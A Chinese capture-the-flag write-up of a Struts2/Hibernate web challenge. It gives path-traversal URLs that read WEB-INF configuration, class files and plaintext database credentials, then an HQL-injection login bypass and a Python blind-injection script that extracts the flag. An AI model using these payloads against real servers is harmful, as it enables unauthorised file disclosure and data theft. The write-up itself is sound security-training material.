dirsearch是一个用于寻找Web服务器上隐藏目录和文件的Python脚本。它可以帮助您发现会被忽视的文件和文件夹,从而提高Web应用程序的安全性。 dirsearch 的用途可能包括:
使用dirsearch需要在命令行中输入一些参数和选项。下面是一些基本的使用示例:
使用dirsearch需要一定的技术和安全意识,因为它涉及到对Web服务器进行暴力测试和目录遍历。
HSQLDB是一个Java编写的关系型数据库管理系统(RDBMS),它允许在Java应用程序中内嵌或作为独立的服务器运行。 HSQLDB支持SQL-92和SQL-99标准的大多数SQL语法和函数,并支持ODBC和JDBC等标准接口。HSQLDB的特点包括:
HSQLDB被广泛应用于Java应用程序中,特别是在测试和演示中,因为它轻量级且易于使用。同时,它也可以作为实际应用程序的后端存储,支持应用程序的存储需求。
1、目录爆破
dirsearch -u 网址
发现了一个list页面,先看下
2、源码审计
查看网络通信
看到这个请求是请求背景图片加载,看着和正常的图片加载感觉不太一样,是不是存在任意文件读取呢
对图片加载地址进行模糊测试
wfuzz -w /usr/share/wfuzz/wordlist/Injections/test.txt -u "http://61.147.171.105:52817/loadimage?fileName=FUZZ"
发现了WEB-INF/web.xml
,这是javaweb特有的配置
http://61.147.171.105:52817/loadimage?fileName=../../WEB-INF/web.xml
下载的是个图片,将图片格式改成xml格式,发现确实可以存在任意文件读取的漏洞。
该项目使用的struts2框架,struts.xml是struts2的核心配置文件,该文件主要负责管理应用中的Action映射,以及该Action包含的Result定义等,因此我们需要读取struts.xml看看,构造payload:
http://61.147.171.105:52817/loadimage?fileName=../../WEB-INF/classes/struts.xml
可以看到有很多class,这就是所谓的映射文件,如 表示访问loadimage路径时候,会去找字节码com.cuitctf.action.DownloadAction文件去加载内容,我们一一构造payload:
http://111.200.241.244:57001/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class
http://111.200.241.244:57001/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/DownloadAction.class
http://111.200.241.244:57001/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/AdminAction.class
http://111.200.241.244:57001/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/UserOAuth.class
下载下来后请记得修改文件名称.class,然后在vscode中使用decompiler插件进行反编译,挨个查看后,发现UserLoginAction.class反编译出来的内容与登录页面最为相关,如图:
其中引入了重要的几个包,因此构造payload,拿到源码:
http://111.200.241.244:57001/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/po/User.class
http://111.200.241.244:57001/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/UserService.class
http://111.200.241.244:57001/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/InitApplicationContext.class
User.class反编译后是一个Bean文件,UserLoginAction.class反编译后是登录验证逻辑文件,InitApplicationContext.class反编译后是类加载器文件,如图:
我们可以看到,加载应用的xml配置文件为applicationContext.xml,该文件一般是项目的启动配置文件,包括数据库等,同样构造payload,如下:
http://111.200.241.244:57001/loadimage?fileName=../../WEB-INF/classes/applicationContext.xml
下载后可以得到文件代码,如下:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
<property name="driverClassName">
<value>com.mysql.jdbc.Driver</value>
</property>
<property name="url">
<value>jdbc:mysql://localhost:3306/sctf</value>
</property>
<property name="username" value="root"/>
<property name="password" value="root" />
</bean>
<bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
<property name="dataSource">
<ref bean="dataSource"/>
</property>
<property name="mappingLocations">
<value>user.hbm.xml</value>
</property>
<property name="hibernateProperties">
<props>
<prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
<prop key="hibernate.show_sql">true</prop>
</props>
</property>
</bean>
<bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate">
<property name="sessionFactory">
<ref bean="sessionFactory"/>
</property>
</bean>
<bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
<property name="sessionFactory">
<ref bean="sessionFactory"/>
</property>
</bean>
<bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
<property name="transactionManager">
<ref bean="transactionManager"/>
</property>
<property name="transactionAttributes">
<props>
<prop key="add">PROPAGATION_REQUIRED</prop>
<prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
</props>
</property>
</bean>
<bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">
<property name="hibernateTemplate">
<ref bean="hibernateTemplate"/>
</property>
</bean>
<bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">
<property name="userDao">
<ref bean="userDAO"/>
</property>
</bean>
</beans>
其中暴露了使用的数据库,数据库账号密码,且其中包含了user.hbm.xml等配置文件,同样我们将其下载出来:
http://111.200.241.244:57001/loadimage?fileName=../../WEB-INF/classes/user.hbm.xml
http://111.200.241.244:57001/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/impl/UserServiceImpl.class
http://111.200.241.244:57001/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/dao/impl/UserDaoImpl.class
可以看到user.hbm.xml暗示了flag在数据库中位置,如图:
UserServiceImpl.class反编译后,是对登录信息进行了过滤,如图:
UserDaoImpl.class反编译后,是对登录的sql查找,如图:
3、构造登录
构造登录账号密码:
from User where name ='admin' or '1'>'0' or name like 'admin' and password = '" + password + "'
UserServiceImpl.class反编译后代码中是对空格进行了过滤,而sql中对回车自动过滤, 因此我们可以将空格字符换成%0A(ascii码表示换行符)。于是使用hackbar进行翻译,得到新的注入sql的payload:
http://61.147.171.105:52817/zhuanxvlogin?user.name=admin'%0Aor%0A'1'>'0'%0Aor%0Aname%0Alike%0A'admin&user.password=222
使用hackbar进行登录
进行脚本爆破
import requests
s=requests.session()
flag=''
for i in range(1,50):
p=''
for j in range(1,255):
# (select ascii(substr(id, "+str(i)+", 1)) from Flag where id < 2) < '
payload = "(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'"+str(j)+"'"
#print payload
url="http://61.147.171.105:52817//zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1"
r1=s.get(url)
if len(r1.text)>20000 and p!='':
flag+=p
print(i,flag)
break
p=chr(j)
得到flag:sctf{C46E250926A2DFFD831975396222B08E}